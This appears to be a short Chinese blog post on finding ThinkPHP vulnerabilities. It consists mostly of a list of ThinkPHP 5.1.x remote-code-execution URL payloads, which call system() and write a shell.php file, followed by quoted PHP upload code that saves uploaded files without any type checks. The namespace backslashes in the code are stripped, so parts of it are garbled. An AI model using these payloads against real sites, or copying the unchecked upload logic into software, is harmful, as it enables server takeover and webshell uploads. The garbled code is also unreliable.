从一个0day到两个0day的奇妙之旅

thinkphp5.1.x payload
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

public function adds(){

if (!empty($_FILES['img']['tmp_name'])) 
{
      $uploadModel = new appcommonserviceUploadService('img');
       $aa = $uploadModel->upload();
       $data['img'] = $aa;
           
}
           
       $data['addtime'] = date('Y-m-d H:i:s',time());
       $data['url'] = $_POST['url'];
       $data['types'] = $_POST['types'];

       $service = new appcommonentitySl();
       $result = $service->addArticle($data);
       $this->success('新增成功', 'config/sl');
            
          
     }

public function upload()
    {
        $file = request()->file($this->name);
        $info = $file->move('uploads');
        if ($info) {

            
            return $this->fileName = '/uploads/' . $info->getSaveName();

        } else {

            $this->error = $file->getError();
            return false;
        }
    }

public function uploadEditor()
    {
        $uploadModel = new appcommonserviceUploadService('image');
        if ($uploadModel->upload()) {
            return json([
                'errno' => 0,
                'data' => [$uploadModel->fileName]
            ]);
        }
        return json([
            'errno' => 1,
            'fail ' => $uploadModel->error
        ]);
    }